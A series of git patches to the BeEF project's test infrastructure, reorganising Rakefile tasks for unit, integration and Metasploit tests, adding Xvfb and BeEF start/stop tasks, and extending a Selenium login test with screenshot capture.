server + +require 'selenium/webdriver' +require "selenium" + +require './check_environment' # Basic log in and log out tests +require './tc_login' # Basic log in and log out tests + +class TS_BeefIntegrationTests + def self.suite + + suite = Test::Unit::TestSuite.new(name="BeEF Integration TestSuite") + suite << TC_CheckEnvironment.suite + suite << TC_login.suite + + return suite + end +end + +Test::Unit::UI::Console::TestRunner.run(TS_BeefIntegrationTests) + From 9cb0e12c6924011786e3e74b734f979cb417c97b Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 17:26:14 +1000 Subject: [PATCH 14/33] Reordered the rake tasks and made the default quick tests --- rakefile | 53 +++++++++++++++++++++++++++++++++++++---------------- 1 file changed, 37 insertions(+), 16 deletions(-) diff --git a/rakefile b/rakefile index d690a4cfc..d7736b39a 100644 --- a/rakefile +++ b/rakefile @@ -14,35 +14,57 @@ # limitations under the License. # -@msf_process_id = nil; +task :default => ["quick"] desc "Run quick unit tests" task :quick do - sh "cd test/unit/;ruby -W0 ts_beef.rb no_msf" + sh "cd test/unit/;ruby -W0 ts_unit.rb" end desc "Run all unit tests" task :all => ["install", "msf_install"] do + Rake::Task['integration'].invoke # run integration tests + Rake::Task['unit'].invoke # run unit tests Rake::Task['msf_update'].invoke Rake::Task['msf_start'].invoke sh "cd test/unit/;ruby -W0 ts_beef.rb" Rake::Task['msf_stop'].invoke end +desc "Run integration unit tests" +task :integration => ["install"] do + sh "cd test/integration;ruby -W0 ts_integration.rb" +end + +desc "Run integration unit tests" +task :unit => ["install"] do + sh "cd test/unit;ruby -W0 ts_unit.rb" +end + +desc "Run MSF unit tests" +task :msf => ["install", "msf_install"] do + Rake::Task['msf_update'].invoke + Rake::Task['msf_start'].invoke + sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb" + Rake::Task['msf_stop'].invoke +end + task :install do - sh "bundle install" + sh "bundle > /dev/null" end -task :no_msf_tests do - sh "cd test/unit/;ruby -W0 ts_beef.rb no_msf" -end +################################ +# MSF environment set up -task :msf_start => 'test/msf-test/msfconsole' do +@msf_process_id = nil; + +task :msf_start => '/tmp/msf-test/msfconsole' do printf "Starting MSF (wait 30 seconds)..." - @msf_process_id = IO.popen("test/msf-test/msfconsole -r test/unit/BeEF.rc 2> /dev/null", "w+") - (1..7).each do |i| # delay for 30 seconds + @msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+") + delays = [7, 6, 5, 4, 3, 2, 1, 0.7, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] + delays.each do |i| # delay for 30 seconds printf '.' - sleep (8-i) # increase the . display rate + sleep (i) # increase the . display rate end puts '.' end @@ -52,17 +74,16 @@ task :msf_stop do @msf_process_id.puts "quit" end -task :msf_install => 'test/msf-test/msfconsole' do +task :msf_install => '/tmp/msf-test/msfconsole' do # Handled by the 'test/msf-test/msfconsole' task. end -task :msf_update => 'test/msf-test/msfconsole' do - sh "cd test/msf-test;git pull" +task :msf_update => '/tmp/msf-test/msfconsole' do + sh "cd /tmp/msf-test;git pull" end -file 'test/msf-test/msfconsole' do +file '/tmp/msf-test/msfconsole' do puts "Installing MSF" - sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git msf-test" + sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test" end -task :default => ["quick"] From 1f4ce62e0abe4a6370eaa805cd89f050bc5af031 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 17:31:53 +1000 Subject: [PATCH 15/33] Minor updates to test suite descriptions --- test/integration/ts_integration.rb | 2 +- test/thirdparty/msf/unit/ts_metasploit.rb | 2 +- test/unit/ts_unit.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/test/integration/ts_integration.rb b/test/integration/ts_integration.rb index bd5859494..06fd52306 100644 --- a/test/integration/ts_integration.rb +++ b/test/integration/ts_integration.rb @@ -29,7 +29,7 @@ require './tc_login' # Basic log in and log out tests class TS_BeefIntegrationTests def self.suite - suite = Test::Unit::TestSuite.new(name="BeEF Integration TestSuite") + suite = Test::Unit::TestSuite.new(name="BeEF Integration Test Suite") suite << TC_CheckEnvironment.suite suite << TC_login.suite diff --git a/test/thirdparty/msf/unit/ts_metasploit.rb b/test/thirdparty/msf/unit/ts_metasploit.rb index 8e5754d71..84b20ff3e 100644 --- a/test/thirdparty/msf/unit/ts_metasploit.rb +++ b/test/thirdparty/msf/unit/ts_metasploit.rb @@ -31,7 +31,7 @@ require './tc_metasploit' class TS_BeefTests def self.suite - suite = Test::Unit::TestSuite.new(name="BeEF MSF TestSuite") + suite = Test::Unit::TestSuite.new(name="BeEF Metasploit Test Suite") suite << TC_CheckEnvironment.suite suite << TC_Metasploit.suite diff --git a/test/unit/ts_unit.rb b/test/unit/ts_unit.rb index 3e371a7a6..8be544f80 100644 --- a/test/unit/ts_unit.rb +++ b/test/unit/ts_unit.rb @@ -28,7 +28,7 @@ require './tc_filesystem' class TS_BeefTests def self.suite - suite = Test::Unit::TestSuite.new(name="BeEF TestSuite") + suite = Test::Unit::TestSuite.new(name="BeEF Unit Test Suite") suite << TC_Filter.suite suite << TC_Loader.suite suite << TC_Core.suite From d103d2a9ee3df96a2fb4179014ae759ff8a4ab53 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 17:38:55 +1000 Subject: [PATCH 16/33] MSF start wait time increased to 45 secs from 30 secs --- rakefile | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/rakefile b/rakefile index d7736b39a..955c32aea 100644 --- a/rakefile +++ b/rakefile @@ -18,17 +18,14 @@ task :default => ["quick"] desc "Run quick unit tests" task :quick do - sh "cd test/unit/;ruby -W0 ts_unit.rb" + Rake::Task['unit'].invoke end desc "Run all unit tests" task :all => ["install", "msf_install"] do Rake::Task['integration'].invoke # run integration tests Rake::Task['unit'].invoke # run unit tests - Rake::Task['msf_update'].invoke - Rake::Task['msf_start'].invoke - sh "cd test/unit/;ruby -W0 ts_beef.rb" - Rake::Task['msf_stop'].invoke + Rake::Task['msf'].invoke # run msf tests end desc "Run integration unit tests" @@ -59,10 +56,10 @@ end @msf_process_id = nil; task :msf_start => '/tmp/msf-test/msfconsole' do - printf "Starting MSF (wait 30 seconds)..." + printf "Starting MSF (wait 45 seconds)..." @msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+") - delays = [7, 6, 5, 4, 3, 2, 1, 0.7, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] - delays.each do |i| # delay for 30 seconds + delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] + delays.each do |i| # delay for 45 seconds printf '.' sleep (i) # increase the . display rate end @@ -79,7 +76,7 @@ task :msf_install => '/tmp/msf-test/msfconsole' do end task :msf_update => '/tmp/msf-test/msfconsole' do - sh "cd /tmp/msf-test;git pull" + sh "cd /tmp/msf-test;git pull" end file '/tmp/msf-test/msfconsole' do From 5a83e1f5ed22de7fdea1cd9aa0c730c95ae249a8 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 19:03:44 +1000 Subject: [PATCH 17/33] Added start and stop beef tasks to the rake tests --- rakefile | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/rakefile b/rakefile index 955c32aea..161d8a456 100644 --- a/rakefile +++ b/rakefile @@ -30,7 +30,9 @@ end desc "Run integration unit tests" task :integration => ["install"] do + Rake::Task['beef_start'].invoke sh "cd test/integration;ruby -W0 ts_integration.rb" + Rake::Task['beef_stop'].invoke end desc "Run integration unit tests" @@ -50,6 +52,28 @@ task :install do sh "bundle > /dev/null" end +################################ +# BeEF environment set up + +@beef_process_id = nil; + +task :beef_start => 'beef' do + printf "Starting BeEF (wait 10 seconds)..." + @beef_process_id = IO.popen("./beef -x 2> /dev/null", "w+") + delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] + delays.each do |i| # delay for 10 seconds + printf '.' + sleep (i) # increase the . display rate + end + puts '.' +end + +task :beef_stop do + puts "\nShutting down BeEF...\n" + puts @beef_process_id.pid + Process.kill 'INT', -Process.getpgrp +end + ################################ # MSF environment set up From e064b330dc873104a57ac71e93ee878350258724 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 20:44:50 +1000 Subject: [PATCH 18/33] Added new testing gems --- Gemfile | 3 +++ Gemfile.lock | 43 +++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 46 insertions(+) diff --git a/Gemfile b/Gemfile index 5217b950c..75e6842c8 100644 --- a/Gemfile +++ b/Gemfile @@ -39,5 +39,8 @@ gem "librex", "0.0.52" gem "msfrpc-client" gem "curb" gem "test-unit" +gem "selenium" +gem "selenium-webdriver" +gem "capybara" source "http://rubygems.org" diff --git a/Gemfile.lock b/Gemfile.lock index 8ae3fc5c4..4feedf234 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -3,6 +3,15 @@ GEM specs: addressable (2.2.6) ansi (1.4.1) + capybara (1.1.2) + mime-types (>= 1.16) + nokogiri (>= 1.3.3) + rack (>= 1.0.0) + rack-test (>= 0.5.4) + selenium-webdriver (~> 2.0) + xpath (~> 0.1.4) + childprocess (0.2.8) + ffi (~> 1.0.6) curb (0.7.16) daemons (1.1.5) data_objects (0.10.7) @@ -21,26 +30,58 @@ GEM data_objects (= 0.10.7) erubis (2.7.0) eventmachine (0.12.10) + ffi (1.0.11) + git (1.2.5) + jar_wrapper (0.1.2) + jeweler + jeweler + zip + zip + jeweler (1.6.4) + bundler (~> 1.0) + git (>= 1.2.5) + rake json (1.6.4) librex (0.0.52) + mime-types (1.17.2) msfrpc-client (1.0.1) librex (>= 0.0.32) msgpack (>= 0.4.5) msgpack (0.4.6) + multi_json (1.0.4) + nokogiri (1.5.0) parseconfig (0.5.2) rack (1.4.0) + rack-test (0.6.1) + rack (>= 1.0) + rake (0.9.2.2) + rubyzip (0.9.5) + selenium (0.2.2) + jar_wrapper + jar_wrapper + jeweler + jeweler + selenium-webdriver (2.16.0) + childprocess (>= 0.2.5) + ffi (~> 1.0.9) + multi_json (~> 1.0.4) + rubyzip term-ansicolor (1.0.7) test-unit (2.4.3) thin (1.3.1) daemons (>= 1.0.9) eventmachine (>= 0.12.6) rack (>= 1.0.0) + xpath (0.1.4) + nokogiri (~> 1.3) + zip (2.0.2) PLATFORMS ruby DEPENDENCIES ansi + capybara curb data_objects dm-core @@ -51,6 +92,8 @@ DEPENDENCIES librex (= 0.0.52) msfrpc-client parseconfig + selenium + selenium-webdriver term-ansicolor test-unit thin From dd6f7496adbd858ebaadfad1911a859389e7f0d8 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 20:55:02 +1000 Subject: [PATCH 19/33] Added some install comments --- Gemfile | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Gemfile b/Gemfile index 75e6842c8..89ab1cf6d 100644 --- a/Gemfile +++ b/Gemfile @@ -41,6 +41,9 @@ gem "curb" gem "test-unit" gem "selenium" gem "selenium-webdriver" +# nokogirl is needed by capybara which may require one of the below commands +# sudo apt-get install libxslt-dev libxml2-dev +# sudo port install libxml2 libxslt gem "capybara" source "http://rubygems.org" From 5cf11d29fa5cc731a53ca0f2b1278bba2e490cf8 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 21:51:28 +1000 Subject: [PATCH 20/33] Removed redundant dependencies --- rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rakefile b/rakefile index 161d8a456..ce45d3cd0 100644 --- a/rakefile +++ b/rakefile @@ -22,7 +22,7 @@ task :quick do end desc "Run all unit tests" -task :all => ["install", "msf_install"] do +task :all do Rake::Task['integration'].invoke # run integration tests Rake::Task['unit'].invoke # run unit tests Rake::Task['msf'].invoke # run msf tests From 3d37e99fc09f52caea8ebf70c221678d9d6a88b3 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Thu, 12 Jan 2012 22:15:48 +1000 Subject: [PATCH 21/33] Removed debian incompatible code --- test/integration/tc_login.rb | 6 ------ test/integration/ts_integration.rb | 2 +- 2 files changed, 1 insertion(+), 7 deletions(-) diff --git a/test/integration/tc_login.rb b/test/integration/tc_login.rb index 80886061b..0d78c57d7 100644 --- a/test/integration/tc_login.rb +++ b/test/integration/tc_login.rb @@ -1,12 +1,6 @@ require 'test/unit' class TC_login < Test::Unit::TestCase - include Capybara::DSL - - def teardown - Capybara.reset_sessions! - Capybara.use_default_driver - end def test_log_in session = Capybara::Session.new(:selenium) diff --git a/test/integration/ts_integration.rb b/test/integration/ts_integration.rb index 06fd52306..b23d5d5fb 100644 --- a/test/integration/ts_integration.rb +++ b/test/integration/ts_integration.rb @@ -17,7 +17,7 @@ # Common lib for BeEF tests require '../common/ts_common' -require 'capybara/DSL' +require 'capybara' Capybara.run_server = false # we need to run our own BeEF server require 'selenium/webdriver' From 2a4e95fb5009756fc3c2c5a7d232ef4e71406cf0 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 14:06:12 +1000 Subject: [PATCH 22/33] Attempted git confict fix --- rakefile => tmpRakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) rename rakefile => tmpRakefile (99%) diff --git a/rakefile b/tmpRakefile similarity index 99% rename from rakefile rename to tmpRakefile index ce45d3cd0..ef993614f 100644 --- a/rakefile +++ b/tmpRakefile @@ -21,7 +21,7 @@ task :quick do Rake::Task['unit'].invoke end -desc "Run all unit tests" +desc "Run all tests" task :all do Rake::Task['integration'].invoke # run integration tests Rake::Task['unit'].invoke # run unit tests From 81053157b0ec4809aed31cef543894ad6bcc4ae0 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 14:06:30 +1000 Subject: [PATCH 23/33] Attempted git confict fix part 2 --- tmpRakefile => Rakefile | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename tmpRakefile => Rakefile (100%) diff --git a/tmpRakefile b/Rakefile similarity index 100% rename from tmpRakefile rename to Rakefile From 567087ce0320333ae72169eebe36907695f9bc09 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 14:08:06 +1000 Subject: [PATCH 24/33] Added automated testing task --- Rakefile | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/Rakefile b/Rakefile index ef993614f..3bfba6e07 100644 --- a/Rakefile +++ b/Rakefile @@ -28,6 +28,12 @@ task :all do Rake::Task['msf'].invoke # run msf tests end +desc "Run automated tests (for Jenkins)" +task :automated do + Rake::Task['unit'].invoke # run unit tests + Rake::Task['msf'].invoke # run msf tests +end + desc "Run integration unit tests" task :integration => ["install"] do Rake::Task['beef_start'].invoke From 1f3638e7ae04639ee152e7f20bf8ce6906d0ca93 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 15:50:32 +1000 Subject: [PATCH 25/33] Added workaround for debian 'env' issues --- Rakefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 3bfba6e07..b16ec0fb0 100644 --- a/Rakefile +++ b/Rakefile @@ -65,7 +65,7 @@ end task :beef_start => 'beef' do printf "Starting BeEF (wait 10 seconds)..." - @beef_process_id = IO.popen("./beef -x 2> /dev/null", "w+") + @beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+") delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] delays.each do |i| # delay for 10 seconds printf '.' From 57f0654b27f767b4b7617d6dd1db0716f34a0b36 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 15:53:25 +1000 Subject: [PATCH 26/33] Added login screen shot capture --- test/integration/tc_login.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/test/integration/tc_login.rb b/test/integration/tc_login.rb index 0d78c57d7..6e814e717 100644 --- a/test/integration/tc_login.rb +++ b/test/integration/tc_login.rb @@ -5,7 +5,9 @@ class TC_login < Test::Unit::TestCase def test_log_in session = Capybara::Session.new(:selenium) session.visit('http://localhost:3000/ui/panel') + session.driver.browser.save_screenshot("/tmp/login.png") session.has_content?('BeEF Authentication') + session.driver.browser.save_screenshot("/tmp/login.png") session.fill_in 'user', :with => 'beef' session.fill_in 'pass', :with => 'beef' session.click_button('Login') From 019360689327ddd095a834eba6f8be3665193d03 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 15:56:34 +1000 Subject: [PATCH 27/33] Remove process id puts --- Rakefile | 1 - 1 file changed, 1 deletion(-) diff --git a/Rakefile b/Rakefile index b16ec0fb0..2ff666102 100644 --- a/Rakefile +++ b/Rakefile @@ -76,7 +76,6 @@ end task :beef_stop do puts "\nShutting down BeEF...\n" - puts @beef_process_id.pid Process.kill 'INT', -Process.getpgrp end From ee24d44a4d5c66d6a7df233cd00db12f03fdede0 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 16:06:20 +1000 Subject: [PATCH 28/33] Added xserver start and stop task for use in automated testing --- Rakefile | 27 ++++++++++++++++++++++++++- 1 file changed, 26 insertions(+), 1 deletion(-) diff --git a/Rakefile b/Rakefile index 2ff666102..c7f4aaf4f 100644 --- a/Rakefile +++ b/Rakefile @@ -30,8 +30,11 @@ end desc "Run automated tests (for Jenkins)" task :automated do + Rake::Task['xserver_start'].invoke + Rake::Task['integration'].invoke # run integration tests Rake::Task['unit'].invoke # run unit tests Rake::Task['msf'].invoke # run msf tests + Rake::Task['xserver_stop'].invoke end desc "Run integration unit tests" @@ -58,6 +61,28 @@ task :install do sh "bundle > /dev/null" end +################################ +# X11 set up + +@xserver_process_id = nil; + +task :xserver_start do + printf "Starting X11 Server (wait 10 seconds)..." + @xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+") + delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] + delays.each do |i| # delay for 10 seconds + printf '.' + sleep (i) # increase the . display rate + end + puts '.' + export DISPLAY=:0 +end + +task :xserver_stop do + puts "\nShutting down X11 Server...\n" + Process.kill 'INT', -Process.getpgrp +end + ################################ # BeEF environment set up @@ -69,7 +94,7 @@ task :beef_start => 'beef' do delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05] delays.each do |i| # delay for 10 seconds printf '.' - sleep (i) # increase the . display rate + sleep (i) end puts '.' end From de30ecf96f5b6c07b3d6309f72df4a4f5efb015a Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 16:24:39 +1000 Subject: [PATCH 29/33] Removed display set up bug --- Rakefile | 1 - 1 file changed, 1 deletion(-) diff --git a/Rakefile b/Rakefile index c7f4aaf4f..70e910e67 100644 --- a/Rakefile +++ b/Rakefile @@ -75,7 +75,6 @@ task :xserver_start do sleep (i) # increase the . display rate end puts '.' - export DISPLAY=:0 end task :xserver_stop do From aa213be8c9a487de05cf2b0c1c68160d0e4c90f4 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 16:52:00 +1000 Subject: [PATCH 30/33] Fixed beef and Xvfb shutdown bug --- Rakefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Rakefile b/Rakefile index 70e910e67..4d989cf0f 100644 --- a/Rakefile +++ b/Rakefile @@ -79,7 +79,7 @@ end task :xserver_stop do puts "\nShutting down X11 Server...\n" - Process.kill 'INT', -Process.getpgrp + sh "ps -ef|grep Xvfb |grep -v grep| awk '{print $2}'| xargs kill" end ################################ @@ -100,7 +100,7 @@ end task :beef_stop do puts "\nShutting down BeEF...\n" - Process.kill 'INT', -Process.getpgrp + sh "ps -ef|grep beef |grep -v grep| awk '{print $2}'| xargs kill" end ################################ From 7bdfcb3d65436d5ef7c43b4bcca353cf76c3bbe1 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 16:55:03 +1000 Subject: [PATCH 31/33] Tidy up the Rakefile --- Rakefile | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) diff --git a/Rakefile b/Rakefile index 4d989cf0f..26bbf5b00 100644 --- a/Rakefile +++ b/Rakefile @@ -16,9 +16,9 @@ task :default => ["quick"] -desc "Run quick unit tests" +desc "Run quick tests" task :quick do - Rake::Task['unit'].invoke + Rake::Task['unit'].invoke # run unit tests end desc "Run all tests" @@ -31,9 +31,7 @@ end desc "Run automated tests (for Jenkins)" task :automated do Rake::Task['xserver_start'].invoke - Rake::Task['integration'].invoke # run integration tests - Rake::Task['unit'].invoke # run unit tests - Rake::Task['msf'].invoke # run msf tests + Rake::Task['all'].invoke Rake::Task['xserver_stop'].invoke end @@ -79,7 +77,7 @@ end task :xserver_stop do puts "\nShutting down X11 Server...\n" - sh "ps -ef|grep Xvfb |grep -v grep| awk '{print $2}'| xargs kill" + sh "ps -ef|grep Xvfb|grep -v grep|awk '{print $2}'|xargs kill" end ################################ @@ -100,7 +98,7 @@ end task :beef_stop do puts "\nShutting down BeEF...\n" - sh "ps -ef|grep beef |grep -v grep| awk '{print $2}'| xargs kill" + sh "ps -ef|grep beef|grep -v grep|awk '{print $2}'|xargs kill" end ################################ From 5716da2af689b90c99d7c0fb9ec26bb56ce01077 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 17:15:58 +1000 Subject: [PATCH 32/33] Added screenshot capture to integration tests --- test/integration/tc_login.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/test/integration/tc_login.rb b/test/integration/tc_login.rb index 6e814e717..c665e5e15 100644 --- a/test/integration/tc_login.rb +++ b/test/integration/tc_login.rb @@ -2,16 +2,21 @@ require 'test/unit' class TC_login < Test::Unit::TestCase + def save_screenshot(session) + session.driver.browser.save_screenshot("/tmp/" + Time.now.strftime("%Y-%m-%d--%H-%M-%S-%N") + ".png") + end + def test_log_in session = Capybara::Session.new(:selenium) session.visit('http://localhost:3000/ui/panel') - session.driver.browser.save_screenshot("/tmp/login.png") + save_screenshot(session) session.has_content?('BeEF Authentication') - session.driver.browser.save_screenshot("/tmp/login.png") session.fill_in 'user', :with => 'beef' session.fill_in 'pass', :with => 'beef' + save_screenshot(session) session.click_button('Login') session.has_content?('logout') + save_screenshot(session) session end @@ -21,7 +26,9 @@ class TC_login < Test::Unit::TestCase session = test_log_in session.has_content?('logout') session.click_link('Logout') + save_screenshot(session) session.has_content?('BeEF Authentication') + save_screenshot(session) session end From 72f4c10ff18b8e3aa5d8154aea9046ae8bcb2430 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 13 Jan 2012 17:25:21 +1000 Subject: [PATCH 33/33] Added screencapture direct in /tmp for storage of screenshots --- test/integration/tc_login.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/test/integration/tc_login.rb b/test/integration/tc_login.rb index c665e5e15..696d94133 100644 --- a/test/integration/tc_login.rb +++ b/test/integration/tc_login.rb @@ -1,9 +1,12 @@ require 'test/unit' +BEEF_TEST_DIR = "/tmp/beef-test/" + class TC_login < Test::Unit::TestCase def save_screenshot(session) - session.driver.browser.save_screenshot("/tmp/" + Time.now.strftime("%Y-%m-%d--%H-%M-%S-%N") + ".png") + Dir.mkdir(BEEF_TEST_DIR) if not File.directory?(BEEF_TEST_DIR) + session.driver.browser.save_screenshot(BEEF_TEST_DIR + Time.now.strftime("%Y-%m-%d--%H-%M-%S-%N") + ".png") end def test_log_in @@ -21,7 +24,6 @@ class TC_login < Test::Unit::TestCase session end - def test_log_out session = test_log_in session.has_content?('logout')